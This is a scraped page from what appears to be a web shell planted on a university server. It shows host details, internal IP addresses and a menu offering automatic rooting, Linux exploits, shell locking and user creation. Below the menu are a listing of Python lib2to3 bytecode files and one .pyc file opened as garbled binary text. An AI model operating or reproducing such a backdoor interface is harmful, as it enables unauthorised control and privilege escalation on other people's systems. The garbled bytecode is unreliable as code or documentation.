Linux ns1.utparral.edu.mx 6.8.0-79-generic #79~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC Fri Aug 15 16:54:53 UTC 2 x86_64
Apache/2.4.58 (Unix) OpenSSL/1.1.1w PHP/8.2.12 mod_perl/2.0.12 Perl/v5.34.1
: 10.10.1.9 | : 10.10.1.254
Cant Read [ /etc/named.conf ]
daemon
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
README
+ Create Folder
+ Create File
/
usr /
lib /
python3.10 /
lib2to3 /
fixes /
__pycache__ /
[ HOME SHELL ]
Name
Size
Permission
Action
fix_apply.cpython-310.pyc
1.61
KB
-rw-r--r--
fix_asserts.cpython-310.pyc
1.25
KB
-rw-r--r--
fix_basestring.cpython-310.pyc
661
B
-rw-r--r--
fix_buffer.cpython-310.pyc
806
B
-rw-r--r--
fix_dict.cpython-310.pyc
3.21
KB
-rw-r--r--
fix_except.cpython-310.pyc
2.71
KB
-rw-r--r--
fix_exec.cpython-310.pyc
1.1
KB
-rw-r--r--
fix_execfile.cpython-310.pyc
1.64
KB
-rw-r--r--
fix_exitfunc.cpython-310.pyc
2.25
KB
-rw-r--r--
fix_filter.cpython-310.pyc
2.38
KB
-rw-r--r--
fix_funcattrs.cpython-310.pyc
974
B
-rw-r--r--
fix_future.cpython-310.pyc
782
B
-rw-r--r--
fix_getcwdu.cpython-310.pyc
786
B
-rw-r--r--
fix_has_key.cpython-310.pyc
2.81
KB
-rw-r--r--
fix_idioms.cpython-310.pyc
3.81
KB
-rw-r--r--
fix_import.cpython-310.pyc
2.75
KB
-rw-r--r--
fix_imports2.cpython-310.pyc
544
B
-rw-r--r--
fix_imports.cpython-310.pyc
4.52
KB
-rw-r--r--
fix_input.cpython-310.pyc
948
B
-rw-r--r--
fix_intern.cpython-310.pyc
1.1
KB
-rw-r--r--
fix_isinstance.cpython-310.pyc
1.52
KB
-rw-r--r--
fix_itertools.cpython-310.pyc
1.51
KB
-rw-r--r--
fix_itertools_imports.cpython-310.pyc
1.53
KB
-rw-r--r--
fix_long.cpython-310.pyc
709
B
-rw-r--r--
fix_map.cpython-310.pyc
3
KB
-rw-r--r--
fix_metaclass.cpython-310.pyc
5.28
KB
-rw-r--r--
fix_methodattrs.cpython-310.pyc
936
B
-rw-r--r--
fix_ne.cpython-310.pyc
809
B
-rw-r--r--
fix_next.cpython-310.pyc
3
KB
-rw-r--r--
fix_nonzero.cpython-310.pyc
921
B
-rw-r--r--
fix_numliterals.cpython-310.pyc
1021
B
-rw-r--r--
fix_operator.cpython-310.pyc
4.05
KB
-rw-r--r--
fix_paren.cpython-310.pyc
1.35
KB
-rw-r--r--
fix_print.cpython-310.pyc
2.25
KB
-rw-r--r--
fix_raise.cpython-310.pyc
2.2
KB
-rw-r--r--
fix_raw_input.cpython-310.pyc
793
B
-rw-r--r--
fix_reduce.cpython-310.pyc
1.1
KB
-rw-r--r--
fix_reload.cpython-310.pyc
1.12
KB
-rw-r--r--
fix_renames.cpython-310.pyc
1.98
KB
-rw-r--r--
fix_repr.cpython-310.pyc
843
B
-rw-r--r--
fix_set_literal.cpython-310.pyc
1.64
KB
-rw-r--r--
fix_standarderror.cpython-310.pyc
718
B
-rw-r--r--
fix_sys_exc.cpython-310.pyc
1.38
KB
-rw-r--r--
fix_throw.cpython-310.pyc
1.76
KB
-rw-r--r--
fix_tuple_params.cpython-310.pyc
4.48
KB
-rw-r--r--
fix_types.cpython-310.pyc
1.9
KB
-rw-r--r--
fix_unicode.cpython-310.pyc
1.52
KB
-rw-r--r--
fix_urllib.cpython-310.pyc
5.74
KB
-rw-r--r--
fix_ws_comma.cpython-310.pyc
1.09
KB
-rw-r--r--
fix_xrange.cpython-310.pyc
2.47
KB
-rw-r--r--
fix_xreadlines.cpython-310.pyc
1.09
KB
-rw-r--r--
fix_zip.cpython-310.pyc
1.54
KB
-rw-r--r--
__init__.cpython-310.pyc
138
B
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : fix_metaclass.cpython-310.pyc
o ��bc � @ sv d Z ddlmZ ddlmZ ddlmZmZmZ dd� Z dd� Z d d � Zdd� Zd d� Z dd� ZG dd� dej�ZdS )a� Fixer for __metaclass__ = X -> (metaclass=X) methods. The various forms of classef (inherits nothing, inherits once, inherits many) don't parse the same in the CST so we look at ALL classes for a __metaclass__ and if we find one normalize the inherits to all be an arglist. For one-liner classes ('class X: pass') there is no indent/dedent so we normalize those into having a suite. Moving the __metaclass__ into the classdef can also cause the class body to be empty so there is some special casing for that as well. This fixer also tries very hard to keep original indenting and spacing in all those corner cases. � )� fixer_base)�token)�syms�Node�Leafc C sz | j D ]7}|jtjkrt|� S |jtjkr:|j r:|j d }|jtjkr:|j r:|j d }t|t�r:|j dkr: dS qdS )z� we have to check the cls_node without changing it. There are two possibilities: 1) clsdef => suite => simple_stmt => expr_stmt => Leaf('__meta') 2) clsdef => simple_stmt => expr_stmt => Leaf('__meta') � � __metaclass__TF) �children�typer �suite� has_metaclass�simple_stmt� expr_stmt� isinstancer �value)�parent�node� expr_node� left_side� r �2/usr/lib/python3.10/lib2to3/fixes/fix_metaclass.pyr s �r c C s� | j D ]}|jtjkr dS qt| j �D ]\}}|jtjkr nqtd��ttjg �}| j |d d� rO| j |d }|� |� � � |�� | j |d d� s4| � |� |}dS )zf one-line classes don't get a suite in the parse tree so we add one to normalize the tree NzNo class suite and no ':'!� )r r r r � enumerater �COLON� ValueErrorr �append_child�clone�remove)�cls_noder �ir � move_noder r r �fixup_parse_tree- s"